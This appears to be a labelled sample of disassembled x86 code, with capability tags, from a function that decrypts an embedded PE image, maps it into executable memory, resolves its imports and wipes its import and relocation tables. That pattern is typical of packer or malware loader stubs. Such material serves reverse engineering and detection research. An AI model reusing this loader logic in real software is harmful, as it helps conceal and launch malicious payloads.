Function at 0x401eb7
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Enumerate pe sections
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x27f0
call fcn.00444920
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2690], eax
mov byte [ebp - 0x2688], 4
mov byte [ebp - 0x2687], 8
mov byte [ebp - 0x2686], 0
mov byte [ebp - 0x2685], 0
mov byte [ebp - 0x2684], 0xc8
mov byte [ebp - 0x2683], 0
mov byte [ebp - 0x2682], 0
mov byte [ebp - 0x2681], 0
mov byte [ebp - 0x2680], 0x18
mov byte [ebp - 0x267f], 0x61
mov byte [ebp - 0x267e], 0xe
mov byte [ebp - 0x267d], 0
mov byte [ebp - 0x267c], 0x22
mov byte [ebp - 0x267b], 0
mov byte [ebp - 0x267a], 0
mov byte [ebp - 0x2679], 0
mov byte [ebp - 0x2678], 0x90
mov byte [ebp - 0x2677], 0x66
mov byte [ebp - 0x2676], 0xe
mov byte [ebp - 0x2675], 0
mov byte [ebp - 0x2674], pe_nt_image_headers32
mov byte [ebp - 0x2673], 2
mov byte [ebp - 0x2672], 0
mov byte [ebp - 0x2671], 0
mov byte [ebp - 0x2670], 0
mov byte [ebp - 0x266f], 0
mov byte [ebp - 0x266e], 0
mov byte [ebp - 0x266d], 0
mov byte [ebp - 0x266c], 0
mov byte [ebp - 0x266b], 0
mov byte [ebp - 0x266a], 0
mov byte [ebp - 0x2669], 0
push 0x2658
push 0x52b0f0
lea ecx, [ebp - 0x2664]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x2658
lea edx, [ebp - 0x2688]
push edx
push 0x64
lea eax, [ebp - 0x2664]
push eax
call fcn.00402eb8
add esp, 0x10
mov byte [ebp - 0x2714], 0x14
mov byte [ebp - 0x2713], 0x28
mov byte [ebp - 0x2712], 0x30
mov byte [ebp - 0x2711], 0x60
mov byte [ebp - 0x2710], 0xc8
mov byte [ebp - 0x270f], 0x30
mov byte [ebp - 0x270e], 0
mov byte [ebp - 0x270d], 0
mov byte [ebp - 0x270c], 0x18
mov byte [ebp - 0x270b], 0x61
mov byte [ebp - 0x270a], 0xe
mov byte [ebp - 0x2709], 0
mov byte [ebp - 0x2708], 0x22
mov byte [ebp - 0x2707], 0
mov byte [ebp - 0x2706], 0
mov byte [ebp - 0x2705], 0
mov byte [ebp - 0x2704], 0x90
mov byte [ebp - 0x2703], 0x66
mov byte [ebp - 0x2702], 0xe
mov byte [ebp - 0x2701], 0
mov byte [ebp - 0x2700], pe_nt_image_headers32
mov byte [ebp - 0x26ff], 2
mov byte [ebp - 0x26fe], 0
mov byte [ebp - 0x26fd], 0
mov byte [ebp - 0x26fc], 8
mov byte [ebp - 0x26fb], 0
mov byte [ebp - 0x26fa], 0
mov byte [ebp - 0x26f9], 0
mov byte [ebp - 0x26f8], 0x80
mov byte [ebp - 0x26f7], 0x60
mov byte [ebp - 0x26f6], 0x30
mov byte [ebp - 0x26f5], 0
mov byte [ebp - 0x2734], 0x14
mov byte [ebp - 0x2733], 0x28
mov byte [ebp - 0x2732], 0x30
mov byte [ebp - 0x2731], 0x60
mov byte [ebp - 0x2730], 0xc8
mov byte [ebp - 0x272f], 0x30
mov byte [ebp - 0x272e], 0
mov byte [ebp - 0x272d], 0
mov byte [ebp - 0x272c], 0x18
mov byte [ebp - 0x272b], 0x61
mov byte [ebp - 0x272a], 0xe
mov byte [ebp - 0x2729], 0
mov byte [ebp - 0x2728], 0x22
mov byte [ebp - 0x2727], 0
mov byte [ebp - 0x2726], 0
mov byte [ebp - 0x2725], 0
mov byte [ebp - 0x2724], 0x90
mov byte [ebp - 0x2723], 0x66
mov byte [ebp - 0x2722], 0xe
mov byte [ebp - 0x2721], 0
mov byte [ebp - 0x2720], pe_nt_image_headers32
mov byte [ebp - 0x271f], 2
mov byte [ebp - 0x271e], 0
mov byte [ebp - 0x271d], 0
mov byte [ebp - 0x271c], 0
mov byte [ebp - 0x271b], 0
mov byte [ebp - 0x271a], 0
mov byte [ebp - 0x2719], 0
mov byte [ebp - 0x2718], 0x80
mov byte [ebp - 0x2717], 0x60
mov byte [ebp - 0x2716], 0x30
mov byte [ebp - 0x2715], 0
push 0x20
lea ecx, [ebp - 0x262e]
push ecx
lea edx, [ebp - 0x2714]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x263b]
and eax, 0xff
test eax, eax
je 0x4021e8
mov ecx, dword [ebp + 0x1c]
push ecx
push 8
push 0x64
lea edx, [ebp - 0x2734]
push edx
lea eax, [ebp - 0x2714]
push eax
call fcn.00402b90
add esp, 0x14
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x2738], ecx
cmp dword [ebp - 0x2738], 0xfa000
jle 0x402207
mov dword [ebp - 0x2738], 0xfa000
mov edx, dword [ebp - 0x2738]
push edx
lea eax, [ebp - 0x2714]
push eax
push 0x64
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403251
add esp, 0x10
mov edx, dword [ebp + 0x10]
sub edx, dword [ebp - 0x2738]
mov dword [ebp - 0x26f4], edx
cmp dword [ebp - 0x26f4], 0x9c4000
jbe 0x402248
mov dword [ebp - 0x26f4], 0x9c4000
cmp dword [ebp - 0x26f4], 0
jbe 0x40227c
mov eax, dword [ebp - 0x26f4]
push eax
lea ecx, [ebp - 0x2734]
push ecx
mov dx, word [ebp - 0x2630]
push edx
mov eax, dword [ebp - 0x2690]
add eax, dword [ebp - 0x2738]
push eax
call fcn.00402eb8
add esp, 0x10
mov edx, dword [ebp - 0x263a]
and edx, 0xff
test edx, edx
je 0x4022e0
mov eax, dword [ebp - 0x264c]
mov dword [ebp - 0x273c], eax
mov ecx, dword [ebp + 0x1c]
push ecx
push 0x80
push 0x64
mov edx, dword [ebp - 0x2690]
add edx, dword [ebp - 0x273c]
push edx
mov eax, dword [ebp - 0x2690]
add eax, dword [ebp - 0x273c]
push eax
call fcn.00402c81
add esp, 0x14
mov ecx, dword [ebp + 0x1c]
push ecx
push 0x20
mov edx, dword [ebp - 0x2690]
add edx, dword [ebp - 0x273c]
push edx
call fcn.00402d72
add esp, 0xc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x26e4], eax
mov ecx, dword [ebp - 0x26e4]
mov edx, dword [ebp - 0x26e4]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x26e0], edx
push 0xf8
mov eax, dword [ebp - 0x26e0]
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x402323
mov ecx, dword [ebp - 0x26e0]
cmp dword [ecx], 0x4550
je 0x40232a
xor eax, eax
jmp 0x402b32
mov edx, dword [ebp - 0x26e0]
xor eax, eax
mov ax, word [edx + 0x14]
mov ecx, dword [ebp - 0x26e0]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0x268c], edx
mov dword [ebp - 0xc], 0x28
mov eax, dword [ebp - 0x268c]
sub eax, dword [ebp - 0x26e4]
mov ecx, dword [ebp - 0x26e0]
xor edx, edx
mov dx, word [ecx + 6]
mov ecx, dword [ebp - 0xc]
imul ecx, edx
add eax, ecx
mov dword [ebp - 0x26e8], eax
mov edx, dword [ebp - 0x26e8]
mov dword [ebp - 0x26cc], edx
mov dword [ebp - 0x2668], 0
mov word [ebp - 0x26d4], 0
jmp 0x4023a6
mov ax, word [ebp - 0x26d4]
add ax, 1
mov word [ebp - 0x26d4], ax
mov ecx, dword [ebp - 0x26d4]
and ecx, 0xffff
mov edx, dword [ebp - 0x26e0]
xor eax, eax
mov ax, word [edx + 6]
cmp ecx, eax
jae 0x402475
mov ecx, dword [ebp - 0x26d4]
and ecx, 0xffff
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x26d4]
and edx, 0xffff
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov ecx, dword [eax + ecx + 0xc]
mov eax, dword [ebp - 0x268c]
add ecx, dword [eax + edx + 0x10]
cmp dword [ebp - 0x26cc], ecx
jae 0x402438
mov ecx, dword [ebp - 0x26d4]
and ecx, 0xffff
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x26d4]
and edx, 0xffff
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov ecx, dword [eax + ecx + 0xc]
mov eax, dword [ebp - 0x268c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0x26cc], ecx
mov ecx, dword [ebp - 0x26d4]
and ecx, 0xffff
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x26e0]
mov eax, dword [ebp - 0x268c]
mov edx, dword [edx + 0x88]
cmp edx, dword [eax + ecx + 0xc]
jne 0x402470
mov eax, dword [ebp - 0x26d4]
and eax, 0xffff
mov dword [ebp - 0x2668], eax
jmp 0x402394
lea ecx, [ebp - 0x26c8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x26cc]
xor edx, edx
div dword [ebp - 0x26c4]
mov dword [ebp - 0x26d0], eax
mov eax, dword [ebp - 0x26cc]
xor edx, edx
div dword [ebp - 0x26c4]
test edx, edx
je 0x4024b7
mov edx, dword [ebp - 0x26d0]
add edx, 1
mov dword [ebp - 0x26d0], edx
mov eax, dword [ebp - 0x26d0]
imul eax, dword [ebp - 0x26c4]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
push 0x40
push 0x1000
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x402502
push 0x10
push 0x455534
push str.Error_in_VirtualAlloc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x402b32
mov ecx, dword [ebp - 0x26e8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_memmove
add esp, 0xc
mov dword [ebp - 0x26dc], 0
mov dword [ebp - 0x2698], 0
mov dword [ebp - 4], 0
mov word [ebp - 0x26d4], 0
jmp 0x402551
mov cx, word [ebp - 0x26d4]
add cx, 1
mov word [ebp - 0x26d4], cx
mov edx, dword [ebp - 0x26d4]
and edx, 0xffff
mov eax, dword [ebp - 0x26e0]
xor ecx, ecx
mov cx, word [eax + 6]
cmp edx, ecx
jge 0x402643
mov edx, dword [ebp - 0x26d4]
and edx, 0xffff
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + edx + 0xc]
mov dword [ebp - 0x26dc], ecx
mov edx, dword [ebp - 0x26d4]
and edx, 0xffff
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
mov dword [ebp - 0x2698], ecx
mov edx, dword [ebp - 0x26d4]
and edx, 0xffff
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov ecx, dword [eax + edx + 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x2698]
push eax
mov ecx, dword [ebp - 0x26dc]
push ecx
call sub.MSVCRT.dll_memmove
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x262e]
push eax
mov cx, word [ebp - 0x2630]
push ecx
mov edx, dword [ebp - 0x26dc]
push edx
call fcn.00402eb8
add esp, 0x10
mov eax, dword [ebp - 0x265e]
and eax, 0xff
test eax, eax
je 0x40263e
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x262e]
push edx
mov ax, word [ebp - 0x2630]
push eax
mov ecx, dword [ebp - 0x2698]
push ecx
call fcn.00402eb8
add esp, 0x10
jmp 0x40253f
mov edx, dword [ebp - 0x265e]
and edx, 0xff
test edx, edx
je 0x4026a8
mov eax, dword [ebp - 0x2658]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00402b60
add esp, 0xc
test eax, eax
jne 0x40269d
push 0x8000
push 0
mov eax, dword [ebp - 0x26e4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x10
push 0x455554
push str.Error_in_CCF
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x402b32
push 0x52b0f0
call dword [0x52dd6c]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x26e4], ecx
mov edx, dword [ebp - 0x26e4]
mov eax, dword [ebp - 0x26e4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x26e0], eax
mov ecx, dword [ebp - 0x26e0]
add ecx, 0xf8
mov dword [ebp - 0x268c], ecx
mov edx, dword [ebp - 0x26e4]
mov dword [0x52dd70], edx
cmp dword [ebp - 0x2668], 0
je 0x402749
call fcn.00411654
cmp eax, 1
jne 0x402749
mov eax, dword [ebp - 0x2668]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x268c]
mov edx, dword [ecx + eax + 0xc]
add edx, dword [ebp + 8]
mov eax, dword [ebp - 0x2668]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0x268c]
mov dword [ecx + eax + 0xc], edx
mov edx, dword [ebp - 0x2668]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov ecx, dword [eax + edx + 0x14]
add ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x2668]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x268c]
mov dword [eax + edx + 0x14], ecx
mov ecx, dword [ebp - 0x26e0]
mov edx, dword [ecx + 0x80]
mov dword [ebp - 0x26f0], edx
cmp dword [ebp - 0x26f0], 0
jne 0x402793
push 0x8000
push 0
mov eax, dword [ebp - 0x26e4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x10
push 0x45556c
push str.Error_in_GetImgDirEntryRVA
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x402b32
mov ecx, dword [ebp - 0x26e0]
mov edx, dword [ecx + 0x28]
mov eax, dword [ebp - 0x26e0]
add edx, dword [eax + 0x34]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], edx
mov edx, dword [ebp - 0x26e0]
mov eax, dword [edx + 0x80]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4027cd
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x26e4]
mov dword [ebp - 8], ecx
jmp 0x4027fc
push 0x8000
push 0
mov edx, dword [ebp - 0x26e4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x10
push 0x455590
push str.Error_in_Get_ImportDesc
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x402b32
mov eax, 1
test eax, eax
je 0x402a81
mov ecx, dword [ebp - 8]
cmp dword [ecx + 4], 0
jne 0x402820
mov edx, dword [ebp - 8]
cmp dword [edx + 0xc], 0
jne 0x402820
jmp 0x402a81
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
add ecx, dword [0x52dd70]
mov dword [ebp - 0x269c], ecx
mov edx, dword [ebp - 0x269c]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x26a0], eax
cmp dword [ebp - 0x26a0], 0
jne 0x402861
mov eax, dword [ebp - 0x269c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x26a0], eax
cmp dword [ebp - 0x26a0], 0
jne 0x40286f
jmp 0x402b2d
mov ecx, dword [ebp - 0x265e]
and ecx, 0xff
test ecx, ecx
je 0x402956
push str.kernel32.dll
mov edx, dword [ebp - 0x269c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402956
mov dword [ebp - 0x27d8], 0x94
lea eax, [ebp - 0x27d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x27c8], 1
jne 0x4028c2
jmp 0x402956
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x27dc], eax
cmp dword [ebp - 0x27dc], 0
je 0x402949
push str.GetModuleInformation
mov ecx, dword [ebp - 0x27dc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x52d954], eax
push 0xc
lea edx, [ebp - 0x27ec]
push edx
mov eax, dword [ebp - 0x26a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x52d954]
test eax, eax
je 0x402949
lea ecx, [ebp - 0x27e0]
push ecx
push 0x40
mov edx, dword [ebp - 0x27e8]
push edx
mov eax, dword [ebp - 0x27ec]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x402949
mov cl, byte [ebp - 0x265d]
push ecx
mov edx, dword [ebp - 0x26a0]
push edx
call dword [0x52dd58]
mov eax, dword [ebp - 0x27dc]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0
je 0x402971
mov edx, dword [ebp - 8]
mov eax, dword [edx]
add eax, dword [ebp - 0x26e4]
mov dword [ebp - 0x2744], eax
jmp 0x402983
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
add edx, dword [ebp - 0x26e4]
mov dword [ebp - 0x2744], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
add ecx, dword [ebp - 0x26e4]
mov dword [ebp - 0x2740], ecx
mov edx, dword [ebp - 0x2744]
cmp dword [edx], 0
je 0x402a73
mov dword [ebp - 0x27f0], 0x80000000
mov eax, dword [ebp - 0x2744]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x27f0]
test ecx, ecx
je 0x4029e5
mov edx, dword [ebp - 0x2744]
mov eax, dword [edx]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x26a0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x2740]
mov dword [edx], eax
jmp 0x402a18
mov eax, dword [ebp - 0x2744]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x26e4]
mov dword [ebp - 0x26d8], ecx
mov edx, dword [ebp - 0x26d8]
add edx, 2
push edx
mov eax, dword [ebp - 0x26a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x2740]
mov dword [ecx], eax
cmp dword [ebp - 0x2740], 0
jne 0x402a50
push 0x8000
push 0
mov edx, dword [ebp - 0x26e4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x10
push 0x4555e4
push str.Error_in_set_FuncAddr.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x402b32
mov eax, dword [ebp - 0x2740]
add eax, 4
mov dword [ebp - 0x2740], eax
mov ecx, dword [ebp - 0x2744]
add ecx, 4
mov dword [ebp - 0x2744], ecx
jmp 0x402995
mov edx, dword [ebp - 8]
add edx, 0x14
mov dword [ebp - 8], edx
jmp 0x4027fc
mov eax, dword [ebp - 0x26e4]
push eax
mov ecx, dword [ebp - 0x26e0]
push ecx
call fcn.00401300
add esp, 8
mov edx, dword [ebp - 0x2638]
and edx, 0xff
test edx, edx
je 0x402ad7
mov eax, dword [ebp - 0x26e0]
mov ecx, dword [eax + 0x80]
add ecx, dword [ebp - 0x26e4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x26e0]
mov eax, dword [edx + 0x84]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x26e0]
mov eax, dword [edx + 0xa0]
add eax, dword [ebp - 0x26e4]
mov dword [ebp - 0x26a4], eax
mov ecx, dword [ebp - 0x2637]
and ecx, 0xff
test ecx, ecx
je 0x402b1d
mov edx, dword [ebp - 0x26e0]
mov eax, dword [edx + 0xa4]
push eax
push 0
mov ecx, dword [ebp - 0x26a4]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp + 0xc]
mov dword [0x52d750], edx
mov eax, 1
jmp 0x402b32
jmp 0x402a73
mov esp, ebp
pop ebp
ret